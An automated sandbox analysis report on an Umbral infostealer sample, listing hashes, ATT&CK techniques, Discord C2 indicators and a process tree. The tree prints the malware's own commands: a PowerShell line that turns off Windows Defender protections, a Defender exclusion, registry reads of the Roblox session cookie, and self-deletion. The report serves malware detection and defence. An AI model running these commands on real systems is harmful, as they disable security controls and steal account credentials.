umbral | 2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0a

Analysis

max time kernel
17s
max time network
20s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
12-01-2025 23:15

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General

Target

2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe
Size

257KB
MD5

48eccdf62898683d91626bc9ec21c8b0
SHA1

05b3f36379d25e8ab6748c57237e950b8ce06b21
SHA256

2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0a
SHA512

ad824674cfabc773d8d50088bc0b01016a6238765079a6e41752b5440c8024aedba0a45242de5969b28b27831a618bc17010f7001cb02e1786461a4b46344285
SSDEEP

6144:floZM+rIkd8g+EtXHkv/iD4u76SecjfUx1gevPehab8e1mZRXLijK7s:doZtL+EP8u76SecjfUx1gevPeIqRWjK

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2124-1-0x00000000012C0000-0x0000000001306000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2356	powershell.exe
2268	powershell.exe
1828	powershell.exe
2776	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe

Deletes itself 1 IoCs

pid	Process
2164	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2164	cmd.exe
1148	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1200	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1148	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe
2776	powershell.exe
2356	powershell.exe
2268	powershell.exe
3012	powershell.exe
1828	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe
Token: SeIncreaseQuotaPrivilege	2968	wmic.exe
Token: SeSecurityPrivilege	2968	wmic.exe
Token: SeTakeOwnershipPrivilege	2968	wmic.exe
Token: SeLoadDriverPrivilege	2968	wmic.exe
Token: SeSystemProfilePrivilege	2968	wmic.exe
Token: SeSystemtimePrivilege	2968	wmic.exe
Token: SeProfSingleProcessPrivilege	2968	wmic.exe
Token: SeIncBasePriorityPrivilege	2968	wmic.exe
Token: SeCreatePagefilePrivilege	2968	wmic.exe
Token: SeBackupPrivilege	2968	wmic.exe
Token: SeRestorePrivilege	2968	wmic.exe
Token: SeShutdownPrivilege	2968	wmic.exe
Token: SeDebugPrivilege	2968	wmic.exe
Token: SeSystemEnvironmentPrivilege	2968	wmic.exe
Token: SeRemoteShutdownPrivilege	2968	wmic.exe
Token: SeUndockPrivilege	2968	wmic.exe
Token: SeManageVolumePrivilege	2968	wmic.exe
Token: 33	2968	wmic.exe
Token: 34	2968	wmic.exe
Token: 35	2968	wmic.exe
Token: SeIncreaseQuotaPrivilege	2968	wmic.exe
Token: SeSecurityPrivilege	2968	wmic.exe
Token: SeTakeOwnershipPrivilege	2968	wmic.exe
Token: SeLoadDriverPrivilege	2968	wmic.exe
Token: SeSystemProfilePrivilege	2968	wmic.exe
Token: SeSystemtimePrivilege	2968	wmic.exe
Token: SeProfSingleProcessPrivilege	2968	wmic.exe
Token: SeIncBasePriorityPrivilege	2968	wmic.exe
Token: SeCreatePagefilePrivilege	2968	wmic.exe
Token: SeBackupPrivilege	2968	wmic.exe
Token: SeRestorePrivilege	2968	wmic.exe
Token: SeShutdownPrivilege	2968	wmic.exe
Token: SeDebugPrivilege	2968	wmic.exe
Token: SeSystemEnvironmentPrivilege	2968	wmic.exe
Token: SeRemoteShutdownPrivilege	2968	wmic.exe
Token: SeUndockPrivilege	2968	wmic.exe
Token: SeManageVolumePrivilege	2968	wmic.exe
Token: 33	2968	wmic.exe
Token: 34	2968	wmic.exe
Token: 35	2968	wmic.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeIncreaseQuotaPrivilege	1900	wmic.exe
Token: SeSecurityPrivilege	1900	wmic.exe
Token: SeTakeOwnershipPrivilege	1900	wmic.exe
Token: SeLoadDriverPrivilege	1900	wmic.exe
Token: SeSystemProfilePrivilege	1900	wmic.exe
Token: SeSystemtimePrivilege	1900	wmic.exe
Token: SeProfSingleProcessPrivilege	1900	wmic.exe
Token: SeIncBasePriorityPrivilege	1900	wmic.exe
Token: SeCreatePagefilePrivilege	1900	wmic.exe
Token: SeBackupPrivilege	1900	wmic.exe
Token: SeRestorePrivilege	1900	wmic.exe
Token: SeShutdownPrivilege	1900	wmic.exe
Token: SeDebugPrivilege	1900	wmic.exe
Token: SeSystemEnvironmentPrivilege	1900	wmic.exe
Token: SeRemoteShutdownPrivilege	1900	wmic.exe
Token: SeUndockPrivilege	1900	wmic.exe
Token: SeManageVolumePrivilege	1900	wmic.exe
Token: 33	1900	wmic.exe
Token: 34	1900	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2124 wrote to memory of 2968	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	30
PID 2124 wrote to memory of 2968	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	30
PID 2124 wrote to memory of 2968	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	30
PID 2124 wrote to memory of 2944	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	33
PID 2124 wrote to memory of 2944	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	33
PID 2124 wrote to memory of 2944	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	33
PID 2124 wrote to memory of 2776	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	35
PID 2124 wrote to memory of 2776	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	35
PID 2124 wrote to memory of 2776	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	35
PID 2124 wrote to memory of 2356	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	37
PID 2124 wrote to memory of 2356	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	37
PID 2124 wrote to memory of 2356	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	37
PID 2124 wrote to memory of 2268	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	39
PID 2124 wrote to memory of 2268	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	39
PID 2124 wrote to memory of 2268	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	39
PID 2124 wrote to memory of 3012	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	41
PID 2124 wrote to memory of 3012	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	41
PID 2124 wrote to memory of 3012	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	41
PID 2124 wrote to memory of 1900	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	43
PID 2124 wrote to memory of 1900	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	43
PID 2124 wrote to memory of 1900	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	43
PID 2124 wrote to memory of 2568	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	45
PID 2124 wrote to memory of 2568	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	45
PID 2124 wrote to memory of 2568	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	45
PID 2124 wrote to memory of 1096	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	47
PID 2124 wrote to memory of 1096	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	47
PID 2124 wrote to memory of 1096	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	47
PID 2124 wrote to memory of 1828	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	49
PID 2124 wrote to memory of 1828	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	49
PID 2124 wrote to memory of 1828	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	49
PID 2124 wrote to memory of 1200	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	51
PID 2124 wrote to memory of 1200	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	51
PID 2124 wrote to memory of 1200	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	51
PID 2124 wrote to memory of 2164	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	53
PID 2124 wrote to memory of 2164	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	53
PID 2124 wrote to memory of 2164	2124	2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe	53
PID 2164 wrote to memory of 1148	2164	cmd.exe	55
PID 2164 wrote to memory of 1148	2164	cmd.exe	55
PID 2164 wrote to memory of 1148	2164	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2944	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe
"C:\Users\Admin\AppData\Local\Temp\2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2968
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe"
  2⤵
  - Views/modifies file attributes
  PID:2944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3012
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1900
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2568
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1828
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1200
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\2c9afcd5c6d57f9fcba5da94bdcc1d7690d47bc1b1fcf9a164b20de11e736d0aN.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
50a8d4ff18dfa84a4887a93086527fd2

SHA1
9cca1ac6c1cd76be07fd6b603ed56c1ec28a39b5

SHA256
500a27ee7b12e684ff9c730c1aeb9922d20d850ea619a40a12814c4a0ebbc2fa

SHA512
14ba6f6a84ed3bab092054e9d044e5cdc42317b221c1ac77493480b83258beb5abbbb9332e23eb5841af6ded0513485fc277cfafece3f2b2b451f59301715322

Download Submit
memory/1828-48-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2124-40-0x000007FEF6423000-0x000007FEF6424000-memory.dmp

Filesize
4KB

Download
memory/2124-1-0x00000000012C0000-0x0000000001306000-memory.dmp

Filesize
280KB

Download
memory/2124-2-0x000007FEF6420000-0x000007FEF6E0C000-memory.dmp

Filesize
9.9MB

Download
memory/2124-53-0x000007FEF6420000-0x000007FEF6E0C000-memory.dmp

Filesize
9.9MB

Download
memory/2124-0-0x000007FEF6423000-0x000007FEF6424000-memory.dmp

Filesize
4KB

Download
memory/2124-41-0x000007FEF6420000-0x000007FEF6E0C000-memory.dmp

Filesize
9.9MB

Download
memory/2356-14-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download
memory/2356-15-0x00000000025A0000-0x00000000025A8000-memory.dmp

Filesize
32KB

Download
memory/2776-8-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2776-7-0x000000001B400000-0x000000001B6E2000-memory.dmp

Filesize
2.9MB

Download